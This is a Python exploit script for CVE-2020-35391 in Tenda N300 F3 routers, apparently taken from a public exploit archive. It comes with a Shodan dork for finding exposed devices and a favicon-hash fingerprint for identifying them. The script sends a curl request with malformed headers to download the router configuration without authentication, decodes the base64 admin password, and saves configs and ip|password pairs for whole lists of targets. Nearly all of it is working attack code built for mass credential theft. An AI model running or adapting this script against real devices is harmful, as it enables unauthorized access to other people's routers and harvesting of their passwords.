#!/usr/bin/python3
# Exploit Title: Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing
# Shodan Dork: http.favicon.hash:-2145085239 http.title:"Tenda | LOGIN"
# Date: 09/03/2023
# Exploit Author: @h454nsec
# Github: https://github.com/H454NSec/CVE-2020-35391
# Vendor Homepage: https://www.tendacn.com/default.html
# Product Link: https://www.tendacn.com/product/f3.html
# Version: All
# Tested on: F3v3.0 Firmware (confirmed)
# CVE : CVE-2020-35391
import re
import os
import sys
import argparse
import base64
import requests
import subprocess
try:
import mmh3
import codecs
except ImportError:
print("[!] Install mmh3: pip3 install mmh3")
sys.exit()
Color_Off="\033[0m"
Black="\033[0;30m" # Black
Red="\033[0;31m" # Red
Green="\033[0;32m" # Green
Yellow="\033[0;33m" # Yellow
Blue="\033[0;34m" # Blue
Purple="\033[0;35m" # Purple
Cyan="\033[0;36m" # Cyan
White="\033[0;37m" # White
def ip_checker(ip):
if "/" in ip:
splited = ip.split("/")
if "http://" in ip or "https://" in ip:
return f"{splited[0]}://{splited[2]}"
else:
return f"http://{splited[0]}"
else:
return f"http://{ip}"
def is_tenda(ip):
try:
response = requests.get(f'{ip}/favicon.ico')
favicon = codecs.encode(response.content, "base64")
favicon_hash = mmh3.hash(favicon)
if favicon_hash == -2145085239:
return True
return False
except Exception as error:
return False
def password_decoder(data):
try:
for nosense_data in data.split("\n"):
if ("http_passwd=" in nosense_data):
encoded_password = nosense_data.split("=")[-1]
break
password_bytes = base64.b64decode(encoded_password)
password = password_bytes.decode("utf-8")
if (len(password) != 0):
return password
return False
except Exception as error:
return False
def main(db):
for ip in db:
ip_address = ip_checker(ip)
tenda = is_tenda(ip_address)
header = print(f"{Green}[+]{Yellow} {ip_address}{Color_Off}", end="") if tenda else print(f"{Red}[-]{Yellow} {ip_address}{Color_Off}", end="")
try:
output = subprocess.check_output(f"curl {ip_address}/cgi-bin/DownloadCfg/RouterCfm.cfg -A '' -H 'Accept:' -H 'Host:' -s", shell=True)
data = output.decode('utf-8')
password = password_decoder(data)
if password:
if not os.path.isdir("config_dump"):
os.mkdir("config_dump")
with open(f"config_dump/{ip_address.split('/')[-1]}.cfg", "w") as o:
o.write(data)
with open(f"credential.txt", "a") as o:
o.write(f"{ip_address}|{password}\n")
print(f"{Purple}:{Cyan}{password}{Color_Off}")
else:
print()
except Exception as error:
print()
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--ip', default='192.168.0.1', help='IP address of the target router (Default: http://192.168.0.1)')
parser.add_argument('-l', '--list_of_ip', help='List of IP address')
args = parser.parse_args()
db = []
ip_list = args.list_of_ip
if ip_list:
with open(ip_list, "r") as fr:
for data in fr.readlines():
db.append(data.strip())
else:
db.append(args.ip)
main(db)